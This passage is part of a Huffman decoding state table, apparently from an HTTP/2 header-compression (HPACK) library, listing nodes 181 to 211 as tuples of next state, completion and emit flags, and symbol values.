(196, 0, 0), - (200, 0, 0), - (203, 0, 0), - (209, 0, 0), - (216, 0, 0), - (224, 0, 0), - (238, 0, 0), - - # Node 181 - (1, HUFFMAN_EMIT_SYMBOL, 171), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 171), - (1, HUFFMAN_EMIT_SYMBOL, 206), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 206), - (1, HUFFMAN_EMIT_SYMBOL, 215), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 215), - (1, HUFFMAN_EMIT_SYMBOL, 225), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 225), - (1, HUFFMAN_EMIT_SYMBOL, 236), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 236), - (1, HUFFMAN_EMIT_SYMBOL, 237), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 237), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 199), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 207), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 234), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 235), - - # Node 182 - (2, HUFFMAN_EMIT_SYMBOL, 171), - (9, HUFFMAN_EMIT_SYMBOL, 171), - (23, HUFFMAN_EMIT_SYMBOL, 171), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 171), - (2, HUFFMAN_EMIT_SYMBOL, 206), - (9, HUFFMAN_EMIT_SYMBOL, 206), - (23, HUFFMAN_EMIT_SYMBOL, 206), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 206), - (2, HUFFMAN_EMIT_SYMBOL, 215), - (9, HUFFMAN_EMIT_SYMBOL, 215), - (23, HUFFMAN_EMIT_SYMBOL, 215), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 215), - (2, HUFFMAN_EMIT_SYMBOL, 225), - (9, HUFFMAN_EMIT_SYMBOL, 225), - (23, HUFFMAN_EMIT_SYMBOL, 225), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 225), - - # Node 183 - (3, HUFFMAN_EMIT_SYMBOL, 171), - (6, HUFFMAN_EMIT_SYMBOL, 171), - (10, HUFFMAN_EMIT_SYMBOL, 171), - (15, HUFFMAN_EMIT_SYMBOL, 171), - (24, HUFFMAN_EMIT_SYMBOL, 171), - (31, HUFFMAN_EMIT_SYMBOL, 171), - (41, HUFFMAN_EMIT_SYMBOL, 171), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 171), - (3, HUFFMAN_EMIT_SYMBOL, 206), - (6, HUFFMAN_EMIT_SYMBOL, 206), - (10, HUFFMAN_EMIT_SYMBOL, 206), - (15, HUFFMAN_EMIT_SYMBOL, 206), - (24, HUFFMAN_EMIT_SYMBOL, 206), - (31, HUFFMAN_EMIT_SYMBOL, 206), - (41, HUFFMAN_EMIT_SYMBOL, 206), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 206), - - # Node 184 - (3, HUFFMAN_EMIT_SYMBOL, 215), - (6, HUFFMAN_EMIT_SYMBOL, 215), - (10, HUFFMAN_EMIT_SYMBOL, 215), - (15, HUFFMAN_EMIT_SYMBOL, 215), - (24, HUFFMAN_EMIT_SYMBOL, 215), - (31, HUFFMAN_EMIT_SYMBOL, 215), - (41, HUFFMAN_EMIT_SYMBOL, 215), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 215), - (3, HUFFMAN_EMIT_SYMBOL, 225), - (6, HUFFMAN_EMIT_SYMBOL, 225), - (10, HUFFMAN_EMIT_SYMBOL, 225), - (15, HUFFMAN_EMIT_SYMBOL, 225), - (24, HUFFMAN_EMIT_SYMBOL, 225), - (31, HUFFMAN_EMIT_SYMBOL, 225), - (41, HUFFMAN_EMIT_SYMBOL, 225), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 225), - - # Node 185 - (2, HUFFMAN_EMIT_SYMBOL, 236), - (9, HUFFMAN_EMIT_SYMBOL, 236), - (23, HUFFMAN_EMIT_SYMBOL, 236), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 236), - (2, HUFFMAN_EMIT_SYMBOL, 237), - (9, HUFFMAN_EMIT_SYMBOL, 237), - (23, HUFFMAN_EMIT_SYMBOL, 237), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 237), - (1, HUFFMAN_EMIT_SYMBOL, 199), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 199), - (1, HUFFMAN_EMIT_SYMBOL, 207), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 207), - (1, HUFFMAN_EMIT_SYMBOL, 234), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 234), - (1, HUFFMAN_EMIT_SYMBOL, 235), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 235), - - # Node 186 - (3, HUFFMAN_EMIT_SYMBOL, 236), - (6, HUFFMAN_EMIT_SYMBOL, 236), - (10, HUFFMAN_EMIT_SYMBOL, 236), - (15, HUFFMAN_EMIT_SYMBOL, 236), - (24, HUFFMAN_EMIT_SYMBOL, 236), - (31, HUFFMAN_EMIT_SYMBOL, 236), - (41, HUFFMAN_EMIT_SYMBOL, 236), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 236), - (3, HUFFMAN_EMIT_SYMBOL, 237), - (6, HUFFMAN_EMIT_SYMBOL, 237), - (10, HUFFMAN_EMIT_SYMBOL, 237), - (15, HUFFMAN_EMIT_SYMBOL, 237), - (24, HUFFMAN_EMIT_SYMBOL, 237), - (31, HUFFMAN_EMIT_SYMBOL, 237), - (41, HUFFMAN_EMIT_SYMBOL, 237), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 237), - - # Node 187 - (2, HUFFMAN_EMIT_SYMBOL, 199), - (9, HUFFMAN_EMIT_SYMBOL, 199), - (23, HUFFMAN_EMIT_SYMBOL, 199), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 199), - (2, HUFFMAN_EMIT_SYMBOL, 207), - (9, HUFFMAN_EMIT_SYMBOL, 207), - (23, HUFFMAN_EMIT_SYMBOL, 207), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 207), - (2, HUFFMAN_EMIT_SYMBOL, 234), - (9, HUFFMAN_EMIT_SYMBOL, 234), - (23, HUFFMAN_EMIT_SYMBOL, 234), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 234), - (2, HUFFMAN_EMIT_SYMBOL, 235), - (9, HUFFMAN_EMIT_SYMBOL, 235), - (23, HUFFMAN_EMIT_SYMBOL, 235), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 235), - - # Node 188 - (3, HUFFMAN_EMIT_SYMBOL, 199), - (6, HUFFMAN_EMIT_SYMBOL, 199), - (10, HUFFMAN_EMIT_SYMBOL, 199), - (15, HUFFMAN_EMIT_SYMBOL, 199), - (24, HUFFMAN_EMIT_SYMBOL, 199), - (31, HUFFMAN_EMIT_SYMBOL, 199), - (41, HUFFMAN_EMIT_SYMBOL, 199), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 199), - (3, HUFFMAN_EMIT_SYMBOL, 207), - (6, HUFFMAN_EMIT_SYMBOL, 207), - (10, HUFFMAN_EMIT_SYMBOL, 207), - (15, HUFFMAN_EMIT_SYMBOL, 207), - (24, HUFFMAN_EMIT_SYMBOL, 207), - (31, HUFFMAN_EMIT_SYMBOL, 207), - (41, HUFFMAN_EMIT_SYMBOL, 207), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 207), - - # Node 189 - (3, HUFFMAN_EMIT_SYMBOL, 234), - (6, HUFFMAN_EMIT_SYMBOL, 234), - (10, HUFFMAN_EMIT_SYMBOL, 234), - (15, HUFFMAN_EMIT_SYMBOL, 234), - (24, HUFFMAN_EMIT_SYMBOL, 234), - (31, HUFFMAN_EMIT_SYMBOL, 234), - (41, HUFFMAN_EMIT_SYMBOL, 234), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 234), - (3, HUFFMAN_EMIT_SYMBOL, 235), - (6, HUFFMAN_EMIT_SYMBOL, 235), - (10, HUFFMAN_EMIT_SYMBOL, 235), - (15, HUFFMAN_EMIT_SYMBOL, 235), - (24, HUFFMAN_EMIT_SYMBOL, 235), - (31, HUFFMAN_EMIT_SYMBOL, 235), - (41, HUFFMAN_EMIT_SYMBOL, 235), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 235), - - # Node 190 - (194, 0, 0), - (195, 0, 0), - (197, 0, 0), - (198, 0, 0), - (201, 0, 0), - (202, 0, 0), - (204, 0, 0), - (205, 0, 0), - (210, 0, 0), - (213, 0, 0), - (217, 0, 0), - (220, 0, 0), - (225, 0, 0), - (231, 0, 0), - (239, 0, 0), - (246, 0, 0), - - # Node 191 - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 192), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 193), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 200), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 201), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 202), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 205), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 210), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 213), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 218), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 219), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 238), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 240), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 242), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 243), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 255), - (206, 0, 0), - - # Node 192 - (1, HUFFMAN_EMIT_SYMBOL, 192), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 192), - (1, HUFFMAN_EMIT_SYMBOL, 193), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 193), - (1, HUFFMAN_EMIT_SYMBOL, 200), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 200), - (1, HUFFMAN_EMIT_SYMBOL, 201), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 201), - (1, HUFFMAN_EMIT_SYMBOL, 202), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 202), - (1, HUFFMAN_EMIT_SYMBOL, 205), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 205), - (1, HUFFMAN_EMIT_SYMBOL, 210), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 210), - (1, HUFFMAN_EMIT_SYMBOL, 213), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 213), - - # Node 193 - (2, HUFFMAN_EMIT_SYMBOL, 192), - (9, HUFFMAN_EMIT_SYMBOL, 192), - (23, HUFFMAN_EMIT_SYMBOL, 192), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 192), - (2, HUFFMAN_EMIT_SYMBOL, 193), - (9, HUFFMAN_EMIT_SYMBOL, 193), - (23, HUFFMAN_EMIT_SYMBOL, 193), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 193), - (2, HUFFMAN_EMIT_SYMBOL, 200), - (9, HUFFMAN_EMIT_SYMBOL, 200), - (23, HUFFMAN_EMIT_SYMBOL, 200), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 200), - (2, HUFFMAN_EMIT_SYMBOL, 201), - (9, HUFFMAN_EMIT_SYMBOL, 201), - (23, HUFFMAN_EMIT_SYMBOL, 201), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 201), - - # Node 194 - (3, HUFFMAN_EMIT_SYMBOL, 192), - (6, HUFFMAN_EMIT_SYMBOL, 192), - (10, HUFFMAN_EMIT_SYMBOL, 192), - (15, HUFFMAN_EMIT_SYMBOL, 192), - (24, HUFFMAN_EMIT_SYMBOL, 192), - (31, HUFFMAN_EMIT_SYMBOL, 192), - (41, HUFFMAN_EMIT_SYMBOL, 192), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 192), - (3, HUFFMAN_EMIT_SYMBOL, 193), - (6, HUFFMAN_EMIT_SYMBOL, 193), - (10, HUFFMAN_EMIT_SYMBOL, 193), - (15, HUFFMAN_EMIT_SYMBOL, 193), - (24, HUFFMAN_EMIT_SYMBOL, 193), - (31, HUFFMAN_EMIT_SYMBOL, 193), - (41, HUFFMAN_EMIT_SYMBOL, 193), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 193), - - # Node 195 - (3, HUFFMAN_EMIT_SYMBOL, 200), - (6, HUFFMAN_EMIT_SYMBOL, 200), - (10, HUFFMAN_EMIT_SYMBOL, 200), - (15, HUFFMAN_EMIT_SYMBOL, 200), - (24, HUFFMAN_EMIT_SYMBOL, 200), - (31, HUFFMAN_EMIT_SYMBOL, 200), - (41, HUFFMAN_EMIT_SYMBOL, 200), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 200), - (3, HUFFMAN_EMIT_SYMBOL, 201), - (6, HUFFMAN_EMIT_SYMBOL, 201), - (10, HUFFMAN_EMIT_SYMBOL, 201), - (15, HUFFMAN_EMIT_SYMBOL, 201), - (24, HUFFMAN_EMIT_SYMBOL, 201), - (31, HUFFMAN_EMIT_SYMBOL, 201), - (41, HUFFMAN_EMIT_SYMBOL, 201), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 201), - - # Node 196 - (2, HUFFMAN_EMIT_SYMBOL, 202), - (9, HUFFMAN_EMIT_SYMBOL, 202), - (23, HUFFMAN_EMIT_SYMBOL, 202), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 202), - (2, HUFFMAN_EMIT_SYMBOL, 205), - (9, HUFFMAN_EMIT_SYMBOL, 205), - (23, HUFFMAN_EMIT_SYMBOL, 205), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 205), - (2, HUFFMAN_EMIT_SYMBOL, 210), - (9, HUFFMAN_EMIT_SYMBOL, 210), - (23, HUFFMAN_EMIT_SYMBOL, 210), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 210), - (2, HUFFMAN_EMIT_SYMBOL, 213), - (9, HUFFMAN_EMIT_SYMBOL, 213), - (23, HUFFMAN_EMIT_SYMBOL, 213), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 213), - - # Node 197 - (3, HUFFMAN_EMIT_SYMBOL, 202), - (6, HUFFMAN_EMIT_SYMBOL, 202), - (10, HUFFMAN_EMIT_SYMBOL, 202), - (15, HUFFMAN_EMIT_SYMBOL, 202), - (24, HUFFMAN_EMIT_SYMBOL, 202), - (31, HUFFMAN_EMIT_SYMBOL, 202), - (41, HUFFMAN_EMIT_SYMBOL, 202), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 202), - (3, HUFFMAN_EMIT_SYMBOL, 205), - (6, HUFFMAN_EMIT_SYMBOL, 205), - (10, HUFFMAN_EMIT_SYMBOL, 205), - (15, HUFFMAN_EMIT_SYMBOL, 205), - (24, HUFFMAN_EMIT_SYMBOL, 205), - (31, HUFFMAN_EMIT_SYMBOL, 205), - (41, HUFFMAN_EMIT_SYMBOL, 205), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 205), - - # Node 198 - (3, HUFFMAN_EMIT_SYMBOL, 210), - (6, HUFFMAN_EMIT_SYMBOL, 210), - (10, HUFFMAN_EMIT_SYMBOL, 210), - (15, HUFFMAN_EMIT_SYMBOL, 210), - (24, HUFFMAN_EMIT_SYMBOL, 210), - (31, HUFFMAN_EMIT_SYMBOL, 210), - (41, HUFFMAN_EMIT_SYMBOL, 210), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 210), - (3, HUFFMAN_EMIT_SYMBOL, 213), - (6, HUFFMAN_EMIT_SYMBOL, 213), - (10, HUFFMAN_EMIT_SYMBOL, 213), - (15, HUFFMAN_EMIT_SYMBOL, 213), - (24, HUFFMAN_EMIT_SYMBOL, 213), - (31, HUFFMAN_EMIT_SYMBOL, 213), - (41, HUFFMAN_EMIT_SYMBOL, 213), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 213), - - # Node 199 - (1, HUFFMAN_EMIT_SYMBOL, 218), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 218), - (1, HUFFMAN_EMIT_SYMBOL, 219), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 219), - (1, HUFFMAN_EMIT_SYMBOL, 238), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 238), - (1, HUFFMAN_EMIT_SYMBOL, 240), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 240), - (1, HUFFMAN_EMIT_SYMBOL, 242), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 242), - (1, HUFFMAN_EMIT_SYMBOL, 243), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 243), - (1, HUFFMAN_EMIT_SYMBOL, 255), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 255), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 203), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 204), - - # Node 200 - (2, HUFFMAN_EMIT_SYMBOL, 218), - (9, HUFFMAN_EMIT_SYMBOL, 218), - (23, HUFFMAN_EMIT_SYMBOL, 218), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 218), - (2, HUFFMAN_EMIT_SYMBOL, 219), - (9, HUFFMAN_EMIT_SYMBOL, 219), - (23, HUFFMAN_EMIT_SYMBOL, 219), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 219), - (2, HUFFMAN_EMIT_SYMBOL, 238), - (9, HUFFMAN_EMIT_SYMBOL, 238), - (23, HUFFMAN_EMIT_SYMBOL, 238), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 238), - (2, HUFFMAN_EMIT_SYMBOL, 240), - (9, HUFFMAN_EMIT_SYMBOL, 240), - (23, HUFFMAN_EMIT_SYMBOL, 240), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 240), - - # Node 201 - (3, HUFFMAN_EMIT_SYMBOL, 218), - (6, HUFFMAN_EMIT_SYMBOL, 218), - (10, HUFFMAN_EMIT_SYMBOL, 218), - (15, HUFFMAN_EMIT_SYMBOL, 218), - (24, HUFFMAN_EMIT_SYMBOL, 218), - (31, HUFFMAN_EMIT_SYMBOL, 218), - (41, HUFFMAN_EMIT_SYMBOL, 218), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 218), - (3, HUFFMAN_EMIT_SYMBOL, 219), - (6, HUFFMAN_EMIT_SYMBOL, 219), - (10, HUFFMAN_EMIT_SYMBOL, 219), - (15, HUFFMAN_EMIT_SYMBOL, 219), - (24, HUFFMAN_EMIT_SYMBOL, 219), - (31, HUFFMAN_EMIT_SYMBOL, 219), - (41, HUFFMAN_EMIT_SYMBOL, 219), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 219), - - # Node 202 - (3, HUFFMAN_EMIT_SYMBOL, 238), - (6, HUFFMAN_EMIT_SYMBOL, 238), - (10, HUFFMAN_EMIT_SYMBOL, 238), - (15, HUFFMAN_EMIT_SYMBOL, 238), - (24, HUFFMAN_EMIT_SYMBOL, 238), - (31, HUFFMAN_EMIT_SYMBOL, 238), - (41, HUFFMAN_EMIT_SYMBOL, 238), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 238), - (3, HUFFMAN_EMIT_SYMBOL, 240), - (6, HUFFMAN_EMIT_SYMBOL, 240), - (10, HUFFMAN_EMIT_SYMBOL, 240), - (15, HUFFMAN_EMIT_SYMBOL, 240), - (24, HUFFMAN_EMIT_SYMBOL, 240), - (31, HUFFMAN_EMIT_SYMBOL, 240), - (41, HUFFMAN_EMIT_SYMBOL, 240), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 240), - - # Node 203 - (2, HUFFMAN_EMIT_SYMBOL, 242), - (9, HUFFMAN_EMIT_SYMBOL, 242), - (23, HUFFMAN_EMIT_SYMBOL, 242), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 242), - (2, HUFFMAN_EMIT_SYMBOL, 243), - (9, HUFFMAN_EMIT_SYMBOL, 243), - (23, HUFFMAN_EMIT_SYMBOL, 243), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 243), - (2, HUFFMAN_EMIT_SYMBOL, 255), - (9, HUFFMAN_EMIT_SYMBOL, 255), - (23, HUFFMAN_EMIT_SYMBOL, 255), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 255), - (1, HUFFMAN_EMIT_SYMBOL, 203), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 203), - (1, HUFFMAN_EMIT_SYMBOL, 204), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 204), - - # Node 204 - (3, HUFFMAN_EMIT_SYMBOL, 242), - (6, HUFFMAN_EMIT_SYMBOL, 242), - (10, HUFFMAN_EMIT_SYMBOL, 242), - (15, HUFFMAN_EMIT_SYMBOL, 242), - (24, HUFFMAN_EMIT_SYMBOL, 242), - (31, HUFFMAN_EMIT_SYMBOL, 242), - (41, HUFFMAN_EMIT_SYMBOL, 242), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 242), - (3, HUFFMAN_EMIT_SYMBOL, 243), - (6, HUFFMAN_EMIT_SYMBOL, 243), - (10, HUFFMAN_EMIT_SYMBOL, 243), - (15, HUFFMAN_EMIT_SYMBOL, 243), - (24, HUFFMAN_EMIT_SYMBOL, 243), - (31, HUFFMAN_EMIT_SYMBOL, 243), - (41, HUFFMAN_EMIT_SYMBOL, 243), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 243), - - # Node 205 - (3, HUFFMAN_EMIT_SYMBOL, 255), - (6, HUFFMAN_EMIT_SYMBOL, 255), - (10, HUFFMAN_EMIT_SYMBOL, 255), - (15, HUFFMAN_EMIT_SYMBOL, 255), - (24, HUFFMAN_EMIT_SYMBOL, 255), - (31, HUFFMAN_EMIT_SYMBOL, 255), - (41, HUFFMAN_EMIT_SYMBOL, 255), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 255), - (2, HUFFMAN_EMIT_SYMBOL, 203), - (9, HUFFMAN_EMIT_SYMBOL, 203), - (23, HUFFMAN_EMIT_SYMBOL, 203), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 203), - (2, HUFFMAN_EMIT_SYMBOL, 204), - (9, HUFFMAN_EMIT_SYMBOL, 204), - (23, HUFFMAN_EMIT_SYMBOL, 204), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 204), - - # Node 206 - (3, HUFFMAN_EMIT_SYMBOL, 203), - (6, HUFFMAN_EMIT_SYMBOL, 203), - (10, HUFFMAN_EMIT_SYMBOL, 203), - (15, HUFFMAN_EMIT_SYMBOL, 203), - (24, HUFFMAN_EMIT_SYMBOL, 203), - (31, HUFFMAN_EMIT_SYMBOL, 203), - (41, HUFFMAN_EMIT_SYMBOL, 203), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 203), - (3, HUFFMAN_EMIT_SYMBOL, 204), - (6, HUFFMAN_EMIT_SYMBOL, 204), - (10, HUFFMAN_EMIT_SYMBOL, 204), - (15, HUFFMAN_EMIT_SYMBOL, 204), - (24, HUFFMAN_EMIT_SYMBOL, 204), - (31, HUFFMAN_EMIT_SYMBOL, 204), - (41, HUFFMAN_EMIT_SYMBOL, 204), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 204), - - # Node 207 - (211, 0, 0), - (212, 0, 0), - (214, 0, 0), - (215, 0, 0), - (218, 0, 0), - (219, 0, 0), - (221, 0, 0), - (222, 0, 0), - (226, 0, 0), - (228, 0, 0), - (232, 0, 0), - (235, 0, 0), - (240, 0, 0), - (243, 0, 0), - (247, 0, 0), - (250, 0, 0), - - # Node 208 - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 211), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 212), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 214), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 221), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 222), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 223), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 241), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 244), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 245), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 246), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 247), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 248), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 250), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 251), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 252), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 253), - - # Node 209 - (1, HUFFMAN_EMIT_SYMBOL, 211), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 211), - (1, HUFFMAN_EMIT_SYMBOL, 212), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 212), - (1, HUFFMAN_EMIT_SYMBOL, 214), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 214), - (1, HUFFMAN_EMIT_SYMBOL, 221), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 221), - (1, HUFFMAN_EMIT_SYMBOL, 222), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 222), - (1, HUFFMAN_EMIT_SYMBOL, 223), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 223), - (1, HUFFMAN_EMIT_SYMBOL, 241), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 241), - (1, HUFFMAN_EMIT_SYMBOL, 244), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 244), - - # Node 210 - (2, HUFFMAN_EMIT_SYMBOL, 211), - (9, HUFFMAN_EMIT_SYMBOL, 211), - (23, HUFFMAN_EMIT_SYMBOL, 211), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 211), - (2, HUFFMAN_EMIT_SYMBOL, 212), - (9, HUFFMAN_EMIT_SYMBOL, 212), - (23, HUFFMAN_EMIT_SYMBOL, 212), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 212), - (2, HUFFMAN_EMIT_SYMBOL, 214), - (9, HUFFMAN_EMIT_SYMBOL, 214), - (23, HUFFMAN_EMIT_SYMBOL, 214), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 214), - (2, HUFFMAN_EMIT_SYMBOL, 221), - (9, HUFFMAN_EMIT_SYMBOL, 221), - (23, HUFFMAN_EMIT_SYMBOL, 221), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 221), - - # Node 211 - (3, HUFFMAN_EMIT_SYMBOL, 211), - (6, HUFFMAN_EMIT_SYMBOL, 211), - (10, HUFFMAN_EMIT_SYMBOL, 211), - (15, HUFFMAN_EMIT_SYMBOL, 211), - (24, HUFFMAN_EMIT_SYMBOL, 211), - (31, HUFFMAN_EMIT_SYMBOL, 211), - (41, HUFFMAN_EMIT_SYMBOL, 211), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 211), - (3, HUFFMAN_EMIT_SYMBOL, 212), - (6, HUFFMAN_EMIT_SYMBOL, 212), - (10, HUFFMAN_EMIT_SYMBOL, 212), - (15, 